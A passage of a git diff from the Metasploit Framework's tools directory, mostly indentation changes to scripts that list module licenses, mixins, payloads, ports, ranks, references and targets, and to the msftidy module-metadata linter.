when "-x" + puts "Regex: #{val}" + reg=1 + regex = val + end } @@ -96,7 +96,7 @@ framework_opts = { 'DisableDatabase' => true } # If the user only wants a particular module type, no need to load the others if filter.downcase != 'all' - framework_opts[:module_types] = [ filter.downcase ] + framework_opts[:module_types] = [ filter.downcase ] end # Initialize the simplified framework instance. @@ -104,30 +104,30 @@ $framework = Msf::Simple::Framework.create(framework_opts) tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Licensed Modules', - 'Indent' => Indent.length, - 'Columns' => [ 'License','Type', 'Name' ] + 'Header' => 'Licensed Modules', + 'Indent' => Indent.length, + 'Columns' => [ 'License','Type', 'Name' ] ) licenses = {} $framework.modules.each { |name, mod| - x = mod.new - lictype = lic_short(x.license) - if reg==0 or lictype=~/#{regex}/ - tbl << [ lictype, mod.type.capitalize, name ] - end + x = mod.new + lictype = lic_short(x.license) + if reg==0 or lictype=~/#{regex}/ + tbl << [ lictype, mod.type.capitalize, name ] + end } if sort == 1 - tbl.sort_rows(0) + tbl.sort_rows(0) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end puts tbl.to_s diff --git a/tools/module_mixins.rb b/tools/module_mixins.rb index 573a122096..c9e8004177 100755 --- a/tools/module_mixins.rb +++ b/tools/module_mixins.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -23,11 +23,11 @@ require 'msf/ui' require 'msf/base' def do_want(klass) - return false if klass.class != Module - return false if [ Kernel, ERB::Util, SNMP::BER].include?(klass) - return false if klass.to_s.match(/^Rex::Ui::Subscriber/) + return false if klass.class != Module + return false if [ Kernel, ERB::Util, SNMP::BER].include?(klass) + return false if klass.to_s.match(/^Rex::Ui::Subscriber/) - return true + return true end # Initialize the simplified framework instance. @@ -38,32 +38,32 @@ all_modules = $framework.exploits # If you give an argument (any argument will do), you really want a sorted # list of mixins, regardles of the module they're in. if ARGV[0] - mod_hash = {} - longest_name = 0 - all_modules.each_module do |name, mod| - x = mod.new - mixins = x.class.ancestors.select {|y| do_want(y) } - mixins.each do |m| - mod_hash[m] ||= 0 - mod_hash[m] += 1 - longest_name = m.to_s.size unless m.to_s.size < longest_name - end - end - mod_hash.sort_by {|a| a[1]}.reverse.each do |arr| - puts "%-#{longest_name}s | %d" % arr - end + mod_hash = {} + longest_name = 0 + all_modules.each_module do |name, mod| + x = mod.new + mixins = x.class.ancestors.select {|y| do_want(y) } + mixins.each do |m| + mod_hash[m] ||= 0 + mod_hash[m] += 1 + longest_name = m.to_s.size unless m.to_s.size < longest_name + end + end + mod_hash.sort_by {|a| a[1]}.reverse.each do |arr| + puts "%-#{longest_name}s | %d" % arr + end else - # Tables kind of suck for this. - results = [] - longest_name = 0 - all_modules.each_module do |name, mod| - x = mod.new - mixins = x.class.ancestors.select {|y| do_want(y) } - results << [x.fullname, mixins.sort {|a,b| a.to_s <=> b.to_s}.join(", ")] - longest_name = x.fullname.size if longest_name < x.fullname.size - end - # name | module1, module1, etc. - results.each do |r| - puts "%-#{longest_name}s | %s" % r - end + # Tables kind of suck for this. + results = [] + longest_name = 0 + all_modules.each_module do |name, mod| + x = mod.new + mixins = x.class.ancestors.select {|y| do_want(y) } + results << [x.fullname, mixins.sort {|a,b| a.to_s <=> b.to_s}.join(", ")] + longest_name = x.fullname.size if longest_name < x.fullname.size + end + # name | module1, module1, etc. + results.each do |r| + puts "%-#{longest_name}s | %s" % r + end end diff --git a/tools/module_payloads.rb b/tools/module_payloads.rb index 3770c653d8..1f1c19a5d5 100755 --- a/tools/module_payloads.rb +++ b/tools/module_payloads.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -26,10 +26,10 @@ require 'msf/base' $framework = Msf::Simple::Framework.create('DisableDatabase' => true) $framework.exploits.each_module { |name, mod| - x = mod.new + x = mod.new - x.compatible_payloads.map{|n, m| - puts "#{x.refname.ljust 40} - #{n}" - } + x.compatible_payloads.map{|n, m| + puts "#{x.refname.ljust 40} - #{n}" + } } diff --git a/tools/module_ports.rb b/tools/module_ports.rb index 01ee477633..39048f2b57 100755 --- a/tools/module_ports.rb +++ b/tools/module_ports.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -29,26 +29,26 @@ all_modules = $framework.exploits.merge($framework.auxiliary) all_ports = {} all_modules.each_module { |name, mod| - x = mod.new - ports = [] + x = mod.new + ports = [] - if x.datastore['RPORT'] - ports << x.datastore['RPORT'] - end + if x.datastore['RPORT'] + ports << x.datastore['RPORT'] + end - if(x.respond_to?('autofilter_ports')) - x.autofilter_ports.each do |rport| - ports << rport - end - end - ports = ports.map{|p| p.to_i} - ports.uniq! - ports.sort{|a,b| a <=> b}.each do |rport| - # Just record the first occurance. - all_ports[rport] = x.fullname unless all_ports[rport] - end + if(x.respond_to?('autofilter_ports')) + x.autofilter_ports.each do |rport| + ports << rport + end + end + ports = ports.map{|p| p.to_i} + ports.uniq! + ports.sort{|a,b| a <=> b}.each do |rport| + # Just record the first occurance. + all_ports[rport] = x.fullname unless all_ports[rport] + end } all_ports.sort.each { |k,v| - puts "%5s # %s" % [k,v] + puts "%5s # %s" % [k,v] } diff --git a/tools/module_rank.rb b/tools/module_rank.rb index 2c11ded340..65fd257ea4 100755 --- a/tools/module_rank.rb +++ b/tools/module_rank.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -42,53 +42,53 @@ ranks = ['Manual','Low','Average','Normal','Good','Great','Excellent'] opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-M" => [ true, "Set Maxmimum Rank [Manual,Low,Average,Normal,Good,Great,Excellent] (Default = Excellent)." ], - "-m" => [ true, "Set Minimum Rank [Manual,Low,Average,Normal,Good,Great,Excellent] (Default = Manual)."], - "-s" => [ false, "Sort by Rank instead of Module Type."], - "-r" => [ false, "Reverse Sort by Rank"], - "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], + "-h" => [ false, "Help menu." ], + "-M" => [ true, "Set Maxmimum Rank [Manual,Low,Average,Normal,Good,Great,Excellent] (Default = Excellent)." ], + "-m" => [ true, "Set Minimum Rank [Manual,Low,Average,Normal,Good,Great,Excellent] (Default = Manual)."], + "-s" => [ false, "Sort by Rank instead of Module Type."], + "-r" => [ false, "Reverse Sort by Rank"], + "-f" => [ true, "Filter based on Module Type [#{filters.map{|f|f.capitalize}.join(", ")}] (Default = All)."], ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module Rank information." - puts "==========================================================" - puts opts.usage - exit - when "-M" - unless ranks.include?(val) - puts "Invalid Rank Supplied: #{val}" - puts "Please use one of these: [Manual,Low,Average,Normal,Good,Great,Excellent]" - exit - end - puts "Maximum Rank: #{val}" - maxrank = ranks[val] - when "-m" - unless ranks.include?(val) - puts "Invalid Rank Supplied: #{val}" - puts "Please use one of these: [Manual,Low,Average,Normal,Good,Great,Excellent]" - exit - end - puts "Minimum Rank: #{val}" - minrank = ranks[val] - when "-s" - puts "Sorting by Rank" - sort = 1 - when "-r" - puts "Reverse Sorting by Rank" - sort = 2 - when "-f" - unless filters.include?(val.downcase) - puts "Invalid Filter Supplied: #{val}" - puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" - exit - end - puts "Module Filter: #{val}" - filter = val + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module Rank information." + puts "==========================================================" + puts opts.usage + exit + when "-M" + unless ranks.include?(val) + puts "Invalid Rank Supplied: #{val}" + puts "Please use one of these: [Manual,Low,Average,Normal,Good,Great,Excellent]" + exit + end + puts "Maximum Rank: #{val}" + maxrank = ranks[val] + when "-m" + unless ranks.include?(val) + puts "Invalid Rank Supplied: #{val}" + puts "Please use one of these: [Manual,Low,Average,Normal,Good,Great,Excellent]" + exit + end + puts "Minimum Rank: #{val}" + minrank = ranks[val] + when "-s" + puts "Sorting by Rank" + sort = 1 + when "-r" + puts "Reverse Sorting by Rank" + sort = 2 + when "-f" + unless filters.include?(val.downcase) + puts "Invalid Filter Supplied: #{val}" + puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" + exit + end + puts "Module Filter: #{val}" + filter = val - end + end } @@ -101,7 +101,7 @@ framework_opts = { 'DisableDatabase' => true } # If the user only wants a particular module type, no need to load the others if filter.downcase != 'all' - framework_opts[:module_types] = [ filter.downcase ] + framework_opts[:module_types] = [ filter.downcase ] end # Initialize the simplified framework instance. @@ -109,27 +109,27 @@ $framework = Msf::Simple::Framework.create(framework_opts) tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module Ranks', - 'Indent' => Indent.length, - 'Columns' => [ 'Module', 'Rank' ] + 'Header' => 'Module Ranks', + 'Indent' => Indent.length, + 'Columns' => [ 'Module', 'Rank' ] ) $framework.modules.each { |name, mod| - x = mod.new - modrank = x.rank - if modrank >= minrank and modrank<= maxrank - tbl << [ x.fullname, modrank ] - end + x = mod.new + modrank = x.rank + if modrank >= minrank and modrank<= maxrank + tbl << [ x.fullname, modrank ] + end } if sort == 1 - tbl.sort_rows(1) + tbl.sort_rows(1) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end puts tbl.to_s diff --git a/tools/module_reference.rb b/tools/module_reference.rb index a2dd955da3..4f4d2c50ac 100755 --- a/tools/module_reference.rb +++ b/tools/module_reference.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -31,48 +31,48 @@ type='All' match= nil opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-s" => [ false, "Sort by Reference instead of Module Type."], - "-r" => [ false, "Reverse Sort"], - "-f" => [ true, "Filter based on Module Type [All,Exploit,Payload,Post,NOP,Encoder,Auxiliary] (Default = All)."], - "-t" => [ true, "Type of Reference to sort by [All,URL,CVE,OSVDB,BID,MSB,NSS,US-CERT-VU]"], - "-x" => [ true, "String or RegEx to try and match against the Reference Field"] + "-h" => [ false, "Help menu." ], + "-s" => [ false, "Sort by Reference instead of Module Type."], + "-r" => [ false, "Reverse Sort"], + "-f" => [ true, "Filter based on Module Type [All,Exploit,Payload,Post,NOP,Encoder,Auxiliary] (Default = All)."], + "-t" => [ true, "Type of Reference to sort by [All,URL,CVE,OSVDB,BID,MSB,NSS,US-CERT-VU]"], + "-x" => [ true, "String or RegEx to try and match against the Reference Field"] ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module Reference information." - puts "==========================================================" - puts opts.usage - exit - when "-s" - puts "Sorting by License" - sort = 1 - when "-r" - puts "Reverse Sorting" - sort = 2 - when "-f" - unless filters.include?(val.downcase) - puts "Invalid Filter Supplied: #{val}" - puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" - exit - end - puts "Module Filter: #{val}" - filter = val - when "-t" - unless types.include?(val) - puts "Invalid Type Supplied: #{val}" - puts "Please use one of these: [All,URL,CVE,OSVDB,BID,MSB,NSS,US-CERT-VU]" - exit - end - puts "Type: #{val}" - type = val - when "-x" - puts "Regex: #{val}" - match = Regexp.new(val) - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module Reference information." + puts "==========================================================" + puts opts.usage + exit + when "-s" + puts "Sorting by License" + sort = 1 + when "-r" + puts "Reverse Sorting" + sort = 2 + when "-f" + unless filters.include?(val.downcase) + puts "Invalid Filter Supplied: #{val}" + puts "Please use one of these: #{filters.map{|f|f.capitalize}.join(", ")}" + exit + end + puts "Module Filter: #{val}" + filter = val + when "-t" + unless types.include?(val) + puts "Invalid Type Supplied: #{val}" + puts "Please use one of these: [All,URL,CVE,OSVDB,BID,MSB,NSS,US-CERT-VU]" + exit + end + puts "Type: #{val}" + type = val + when "-x" + puts "Regex: #{val}" + match = Regexp.new(val) + end } @@ -86,7 +86,7 @@ framework_opts = { 'DisableDatabase' => true } # If the user only wants a particular module type, no need to load the others if filter.downcase != 'all' - framework_opts[:module_types] = [ filter.downcase ] + framework_opts[:module_types] = [ filter.downcase ] end # Initialize the simplified framework instance. @@ -94,31 +94,31 @@ $framework = Msf::Simple::Framework.create(framework_opts) tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module References', - 'Indent' => Indent.length, - 'Columns' => [ 'Module', 'Reference' ] + 'Header' => 'Module References', + 'Indent' => Indent.length, + 'Columns' => [ 'Module', 'Reference' ] ) $framework.modules.each { |name, mod| - next if match and not name =~ match + next if match and not name =~ match - x = mod.new - x.references.each do |r| - if type=='All' or type==r.ctx_id - ref = "#{r.ctx_id}-#{r.ctx_val}" - tbl << [ x.fullname, ref ] - end - end + x = mod.new + x.references.each do |r| + if type=='All' or type==r.ctx_id + ref = "#{r.ctx_id}-#{r.ctx_val}" + tbl << [ x.fullname, ref ] + end + end } if sort == 1 - tbl.sort_rows(1) + tbl.sort_rows(1) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end diff --git a/tools/module_targets.rb b/tools/module_targets.rb index 40c4cb438c..90712c87bc 100755 --- a/tools/module_targets.rb +++ b/tools/module_targets.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -27,30 +27,30 @@ fil = 0 filter = "" opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-s" => [ false, "Sort by Target instead of Module Type."], - "-r" => [ false, "Reverse Sort"], - "-x" => [ true, "String or RegEx to try and match against the Targets field"] + "-h" => [ false, "Help menu." ], + "-s" => [ false, "Sort by Target instead of Module Type."], + "-r" => [ false, "Reverse Sort"], + "-x" => [ true, "String or RegEx to try and match against the Targets field"] ) opts.parse(ARGV) { |opt, idx, val| - case opt - when "-h" - puts "\nMetasploit Script for Displaying Module Target information." - puts "==========================================================" - puts opts.usage - exit - when "-s" - puts "Sorting by Target" - sort = 1 - when "-r" - puts "Reverse Sorting" - sort = 2 - when "-x" - puts "Filter: #{val}" - filter = val - fil=1 - end + case opt + when "-h" + puts "\nMetasploit Script for Displaying Module Target information." + puts "==========================================================" + puts opts.usage + exit + when "-s" + puts "Sorting by Target" + sort = 1 + when "-r" + puts "Reverse Sorting" + sort = 2 + when "-x" + puts "Filter: #{val}" + filter = val + fil=1 + end } Indent = ' ' @@ -59,30 +59,30 @@ Indent = ' ' $framework = Msf::Simple::Framework.create('DisableDatabase' => true) tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Module Targets', - 'Indent' => Indent.length, - 'Columns' => [ 'Module name','Target' ] + 'Header' => 'Module Targets', + 'Indent' => Indent.length, + 'Columns' => [ 'Module name','Target' ] ) all_modules = $framework.exploits all_modules.each_module { |name, mod| - x = mod.new - x.targets.each do |targ| - if fil==0 or targ.name=~/#{filter}/ - tbl << [ x.fullname, targ.name ] - end - end + x = mod.new + x.targets.each do |targ| + if fil==0 or targ.name=~/#{filter}/ + tbl << [ x.fullname, targ.name ] + end + end } if sort == 1 - tbl.sort_rows(1) + tbl.sort_rows(1) end if sort == 2 - tbl.sort_rows(1) - tbl.rows.reverse + tbl.sort_rows(1) + tbl.rows.reverse end puts tbl.to_s diff --git a/tools/msf_irb_shell.rb b/tools/msf_irb_shell.rb index a3ece86920..46f9575d15 100755 --- a/tools/msf_irb_shell.rb +++ b/tools/msf_irb_shell.rb @@ -6,7 +6,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 406c30b463..a32ba1df50 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -9,418 +9,418 @@ CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES'] if CHECK_OLD_RUBIES - require 'rvm' - warn "This is going to take a while, depending on the number of Rubies you have installed." + require 'rvm' + warn "This is going to take a while, depending on the number of Rubies you have installed." end class String - def red - "\e[1;31;40m#{self}\e[0m" - end + def red + "\e[1;31;40m#{self}\e[0m" + end - def yellow - "\e[1;33;40m#{self}\e[0m" - end + def yellow + "\e[1;33;40m#{self}\e[0m" + end - def ascii_only? - self =~ Regexp.new('[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]', nil, 'n') ? false : true - end + def ascii_only? + self =~ Regexp.new('[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]', nil, 'n') ? false : true + end end class Msftidy - LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long + LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long - def initialize(source_file) - @source = load_file(source_file) - @name = source_file - end + def initialize(source_file) + @source = load_file(source_file) + @name = source_file + end - public + public - ## - # - # The following two functions only print what you throw at them, - # with the option of displying the line number. error() is meant - # for mistakes that might actually break something. - # - ## + ## + # + # The following two functions only print what you throw at them, + # with the option of displying the line number. error() is meant + # for mistakes that might actually break something. + # + ## - def warn(txt, line=0) - line_msg = (line>0) ? ":#{line.to_s}" : '' - puts "#{@name}#{line_msg} - [#{'WARNING'.yellow}] #{txt}" - end + def warn(txt, line=0) + line_msg = (line>0) ? ":#{line.to_s}" : '' + puts "#{@name}#{line_msg} - [#{'WARNING'.yellow}] #{txt}" + end - def error(txt, line=0) - line_msg = (line>0) ? ":#{line.to_s}" : '' - puts "#{@name}#{line_msg} - [#{'ERROR'.red}] #{txt}" - end + def error(txt, line=0) + line_msg = (line>0) ? ":#{line.to_s}" : '' + puts "#{@name}#{line_msg} - [#{'ERROR'.red}] #{txt}" + end - ## - # - # The functions below are actually the ones checking the source code - # - ## + ## + # + # The functions below are actually the ones checking the source code + # + ## - def check_ref_identifiers - in_super = false - in_refs = false + def check_ref_identifiers + in_super = false + in_refs = false - @source.each_line do |line| - if !in_super and line =~ /[\n\t]+super\(/ - in_super = true - elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ - in_super = false - break - end + @source.each_line do |line| + if !in_super and line =~ /[\n\t]+super\(/ + in_super = true + elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ + in_super = false + break + end - if in_super and line =~ /'References'[[:space:]]*=>/ - in_refs = true - elsif in_super and in_refs and line =~ /^[[:space:]]+\],*/m - break - elsif in_super and in_refs and line =~ /[^#]+\[[[:space:]]*['"](.+)['"][[:space:]]*,[[:space:]]*['"](.+)['"][[:space:]]*\]/ - identifier = $1.strip.upcase - value = $2.strip + if in_super and line =~ /'References'[[:space:]]*=>/ + in_refs = true + elsif in_super and in_refs and line =~ /^[[:space:]]+\],*/m + break + elsif in_super and in_refs and line =~ /[^#]+\[[[:space:]]*['"](.+)['"][[:space:]]*,[[:space:]]*['"](.+)['"][[:space:]]*\]/ + identifier = $1.strip.upcase + value = $2.strip - case identifier - when 'CVE' - warn("Invalid CVE format: '#{value}'") if value !~ /^\d{4}\-\d{4}$/ - when 'OSVDB' - warn("Invalid OSVDB format: '#{value}'") if value !~ /^\d+$/ - when 'BID' - warn("Invalid BID format: '#{value}'") if value !~ /^\d+$/ - when 'MSB' - warn("Invalid MSB format: '#{value}'") if value !~ /^MS\d+\-\d+$/ - when 'MIL' - warn("milw0rm references are no longer supported.") - when 'EDB' - warn("Invalid EDB reference") if value !~ /^\d+$/ - when 'WVE' - warn("Invalid WVE reference") if value !~ /^\d+\-\d+$/ - when 'US-CERT-VU' - warn("Invalid US-CERT-VU reference") if value !~ /^\d+$/ - when 'URL' - if value =~ /^http:\/\/www\.osvdb\.org/ - warn("Please use 'OSVDB' for '#{value}'") - elsif value =~ /^http:\/\/cvedetails\.com\/cve/ - warn("Please use 'CVE' for '#{value}'") - elsif value =~ /^http:\/\/www\.securityfocus\.com\/bid\// - warn("Please use 'BID' for '#{value}'") - elsif value =~ /^http:\/\/www\.microsoft\.com\/technet\/security\/bulletin\// - warn("Please use 'MSB' for '#{value}'") - elsif value =~ /^http:\/\/www\.exploit\-db\.com\/exploits\// - warn("Please use 'EDB' for '#{value}'") - elsif value =~ /^http:\/\/www\.wirelessve\.org\/entries\/show\/WVE\-/ - warn("Please use 'WVE' for '#{value}'") - elsif value =~ /^http:\/\/www\.kb\.cert\.org\/vuls\/id\// - warn("Please use 'US-CERT-VU' for '#{value}'") - end - end - end - end - end + case identifier + when 'CVE' + warn("Invalid CVE format: '#{value}'") if value !~ /^\d{4}\-\d{4}$/ + when 'OSVDB' + warn("Invalid OSVDB format: '#{value}'") if value !~ /^\d+$/ + when 'BID' + warn("Invalid BID format: '#{value}'") if value !~ /^\d+$/ + when 'MSB' + warn("Invalid MSB format: '#{value}'") if value !~ /^MS\d+\-\d+$/ + when 'MIL' + warn("milw0rm references are no longer supported.") + when 'EDB' + warn("Invalid EDB reference") if value !~ /^\d+$/ + when 'WVE' + warn("Invalid WVE reference") if value !~ /^\d+\-\d+$/ + when 'US-CERT-VU' + warn("Invalid US-CERT-VU reference") if value !~ /^\d+$/ + when 'URL' + if value =~ /^http:\/\/www\.osvdb\.org/ + warn("Please use 'OSVDB' for '#{value}'") + elsif value =~ /^http:\/\/cvedetails\.com\/cve/ + warn("Please use 'CVE' for '#{value}'") + elsif value =~ /^http:\/\/www\.securityfocus\.com\/bid\// + warn("Please use 'BID' for '#{value}'") + elsif value =~ /^http:\/\/www\.microsoft\.com\/technet\/security\/bulletin\// + warn("Please use 'MSB' for '#{value}'") + elsif value =~ /^http:\/\/www\.exploit\-db\.com\/exploits\// + warn("Please use 'EDB' for '#{value}'") + elsif value =~ /^http:\/\/www\.wirelessve\.org\/entries\/show\/WVE\-/ + warn("Please use 'WVE' for '#{value}'") + elsif value =~ /^http:\/\/www\.kb\.cert\.org\/vuls\/id\// + warn("Please use 'US-CERT-VU' for '#{value}'") + end + end + end + end + end - def check_snake_case_filename - sep = File::SEPARATOR - good_name = Regexp.new "^[a-z0-9_#{sep}]+\.rb$" - unless @name =~ good_name - warn "Filenames should be alphanum and snake case." - end - end + def check_snake_case_filename + sep = File::SEPARATOR + good_name = Regexp.new "^[a-z0-9_#{sep}]+\.rb$" + unless @name =~ good_name + warn "Filenames should be alphanum and snake case." + end + end - def check_old_keywords - max_count = 10 - counter = 0 - if @source =~ /^##/ - @source.each_line do |line| - # If exists, the $Id$ keyword should appear at the top of the code. - # If not (within the first 10 lines), then we assume there's no - # $Id$, and then bail. - break if counter >= max_count + def check_old_keywords + max_count = 10 + counter = 0 + if @source =~ /^##/ + @source.each_line do |line| + # If exists, the $Id$ keyword should appear at the top of the code. + # If not (within the first 10 lines), then we assume there's no + # $Id$, and then bail. + break if counter >= max_count - if line =~ /^#[[:space:]]*\$Id\$/i - warn("Keyword $Id$ is no longer needed.") - break - end + if line =~ /^#[[:space:]]*\$Id\$/i + warn("Keyword $Id$ is no longer needed.") + break + end - counter += 1 - end - end + counter += 1 + end + end - if @source =~ /'Version'[[:space:]]*=>[[:space:]]*['"]\$Revision\$['"]/ - warn("Keyword $Revision$ is no longer needed.") - end - end + if @source =~ /'Version'[[:space:]]*=>[[:space:]]*['"]\$Revision\$['"]/ + warn("Keyword $Revision$ is no longer needed.") + end + end - def check_verbose_option - if @source =~ /Opt(Bool|String).new\([[:space:]]*('|")VERBOSE('|")[[:space:]]*,[[:space:]]*\[[[:space:]]*/ - warn("VERBOSE Option is already part of advanced settings, no need to add it manually.") - end - end + def check_verbose_option + if @source =~ /Opt(Bool|String).new\([[:space:]]*('|")VERBOSE('|")[[:space:]]*,[[:space:]]*\[[[:space:]]*/ + warn("VERBOSE Option is already part of advanced settings, no need to add it manually.") + end + end - def check_badchars - badchars = %Q|&<=>| + def check_badchars + badchars = %Q|&<=>| - in_super = false - in_author = false + in_super = false + in_author = false - @source.each_line do |line| - # - # Mark our "super" code block - # - if !in_super and line =~ /[\n\t]+super\(/ - in_super = true - elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ - in_super = false - break - end + @source.each_line do |line| + # + # Mark our "super" code block + # + if !in_super and line =~ /[\n\t]+super\(/ + in_super = true + elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/ + in_super = false + break + end - # - # While in super() code block - # - if in_super and line =~ /'Name'[[:space:]]*=>[[:space:]]*['|"](.+)['|"]/ - # Now we're checking the module titlee - mod_title = $1 - mod_title.each_char do |c| - if badchars.include?(c) - error("'#{c}' is a bad character in module title.") - end - end + # + # While in super() code block + # + if in_super and line =~ /'Name'[[:space:]]*=>[[:space:]]*['|"](.+)['|"]/ + # Now we're checking the module titlee + mod_title = $1 + mod_title.each_char do |c| + if badchars.include?(c) + error("'#{c}' is a bad character in module title.") + end + end - if not mod_title.ascii_only? - error("Please avoid unicode or non-printable characters in module title.") - end + if not mod_title.ascii_only? + error("Please avoid unicode or non-printable characters in module title.") + end - # Since we're looking at the module title, this line clearly cannot be - # the author block, so no point to run more code below. - next - end + # Since we're looking at the module title, this line clearly cannot be + # the author block, so no point to run more code below. + next + end - # - # Mark our 'Author' block - # - if in_super and !in_author and line =~ /'Author'[[:space:]]*=>/ - in_author = true - elsif in_super and in_author and line =~ /\],*\n/ or line =~ /['"][[:print:]]*['"][[:space:]]*=>/ - in_author = false - end + # + # Mark our 'Author' block + # + if in_super and !in_author and line =~ /'Author'[[:space:]]*=>/ + in_author = true + elsif in_super and in_author and line =~ /\],*\n/ or line =~ /['"][[:print:]]*['"][[:space:]]*=>/ + in_author = false + end - # - # While in 'Author' block, check for Twitter handles - # - if in_super and in_author - if line =~ /Author/ - author_name = line.scan(/\[[[:space:]]*['"](.+)['"]/).flatten[-1] || '' - else - author_name = line.scan(/['"](.+)['"]/).flatten[-1] || '' - end + # + # While in 'Author' block, check for Twitter handles + # + if in_super and in_author + if line =~ /Author/ + author_name = line.scan(/\[[[:space:]]*['"](.+)['"]/).flatten[-1] || '' + else + author_name = line.scan(/['"](.+)['"]/).flatten[-1] || '' + end - if author_name =~ /^@.+$/ - error("No Twitter handles, please. Try leaving it in a comment instead.") - end + if author_name =~ /^@.+$/ + error("No Twitter handles, please. Try leaving it in a comment instead.") + end - if not author_name.ascii_only? - error("Please avoid unicode or non-printable characters in Author") - end - end - end - end + if not author_name.ascii_only? + error("Please avoid unicode or non-printable characters in Author") + end + end + end + end - def check_extname - if File.extname(@name) != '.rb' - error("Module should be a '.rb' file, or it won't load.") - end - end + def check_extname + if File.extname(@name) != '.rb' + error("Module should be a '.rb' file, or it won't load.") + end + end - def test_old_rubies(f_rel) - return true unless CHECK_OLD_RUBIES - return true unless Object.const_defined? :RVM - puts "Checking syntax for #{f_rel}." - rubies ||= RVM.list_strings - res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/} - error("Fails alternate Ruby version check") if rubies.size != res.size - end + def test_old_rubies(f_rel) + return true unless CHECK_OLD_RUBIES + return true unless Object.const_defined? :RVM + puts "Checking syntax for #{f_rel}." + rubies ||= RVM.list_strings + res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/} + error("Fails alternate Ruby version check") if rubies.size != res.size + end - def check_ranking - return if @source !~ / \< Msf::Exploit/ + def check_ranking + return if @source !~ / \< Msf::Exploit/ - available_ranks = [ - 'ManualRanking', - 'LowRanking', - 'AverageRanking', - 'NormalRanking', - 'GoodRanking', - 'GreatRanking', - 'ExcellentRanking' - ] + available_ranks = [ + 'ManualRanking', + 'LowRanking', + 'AverageRanking', + 'NormalRanking', + 'GoodRanking', + 'GreatRanking', + 'ExcellentRanking' + ] - if @source =~ /Rank \= (\w+)/ - if not available_ranks.include?($1) - error("Invalid ranking. You have '#{$1}'") - end - end - end + if @source =~ /Rank \= (\w+)/ + if not available_ranks.include?($1) + error("Invalid ranking. You have '#{$1}'") + end + end + end - def check_disclosure_date - return if @source =~ /Generic Payload Handler/ or @source !~ / \< Msf::Exploit/ + def check_disclosure_date + return if @source =~ /Generic Payload Handler/ or @source !~ / \< Msf::Exploit/ - # Check disclosure date format - if @source =~ /'DisclosureDate'.*\=\>[\x0d\x20]*['\"](.+)['\"]/ - d = $1 #Captured date - # Flag if overall format is wrong - if d =~ /^... \d{1,2}\,* \d{4}/ - # Flag if month format is wrong - m = d.split[0] - months = [ - 'Jan', 'Feb', 